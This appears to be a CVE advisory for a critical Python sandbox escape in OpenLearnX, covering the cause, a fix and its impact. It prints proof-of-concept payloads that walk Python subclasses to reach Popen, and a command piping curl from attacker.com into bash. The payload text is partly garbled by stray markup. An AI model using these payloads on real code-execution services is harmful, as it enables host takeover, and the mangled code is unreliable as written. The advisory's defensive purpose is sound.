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The vulnerability stems from inadequate sanitization of Python built‑ins and a failure to enforce attribute filters in the sandboxed code execution environment. By injecting a malicious payload into a user‑submitted code block, an attacker can access the underlying `__builtins__` dictionary and retrieve dangerous functions such as eval, exec, open, __import__, or os.system. The sandbox relies solely on a blocklist approach, which the attacker bypasses by traversing the object hierarchy—for example, ().__class__.__bases__
.__subclasses__()</code>—to locate a class that provides direct OS interaction. Once a suitable class is found, the attacker gains full Python execution context, effectively escaping the confinement. With the ability to run arbitrary Python code, the attacker can then execute system commands, read or write files, and compromise the entire host. The flaw is exacerbated by the fact that the execution environment does not disable dangerous modules or restrict the use of <code>ctypes</code>, allowing raw system calls to be invoked directly. A working exploit chains nested attribute lookups to sidestep the sandbox’s superficial checks. The fix involves implementing a robust allowlist of safe functions and executing untrusted code inside a dedicated container with full resource isolation. <h2 style="color: blue;">dailycve form:</h2> Platform: OpenLearnX (th30d4y) Version: prior to fix Vulnerability: Sandbox Escape Severity: Critical (CVSS 9.8) date: 2026-04-19 <h2 style="color: blue;">Prediction: patch expected 2026-04-23</h2> <h2 style="color: blue;">What Undercode Say:</h2> Analytics show the flaw is trivially exploitable. The following payload demonstrates the bypass: [bash] Check for vulnerable <strong>builtins</strong> exposure python -c "print(().<strong>class</strong>.<strong>bases</strong>[bash].<strong>subclasses</strong>())" Escalate to command execution (example using subprocess) python -c "print([c for c in ().<strong>class</strong>.<strong>bases</strong>[bash].<strong>subclasses</strong>() if c.<strong>name</strong> == 'Popen'][0](['id'], stdout=-1).communicate())"
Exploit:
An attacker submits a crafted Python script through the “run code” interface:
import os
os.system('curl http://attacker.com/backdoor.sh | bash')
Because the sandbox does not block the `os` module, the command executes on the server.
Protection from this CVE
Patch OpenLearnX to the latest version that implements a secure execution container (e.g., Docker or gVisor).
Enforce an allowlist of permitted Python modules and functions.
Never rely on blocklists when Python’s metaprogramming capabilities can trivially bypass them.
Impact
Full remote code execution leads to complete compromise of the host system, data exfiltration, lateral movement, and potential deployment of ransomware or cryptominers.
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Sources:
Reported By: github.com
Extra Source Hub:
Undercode
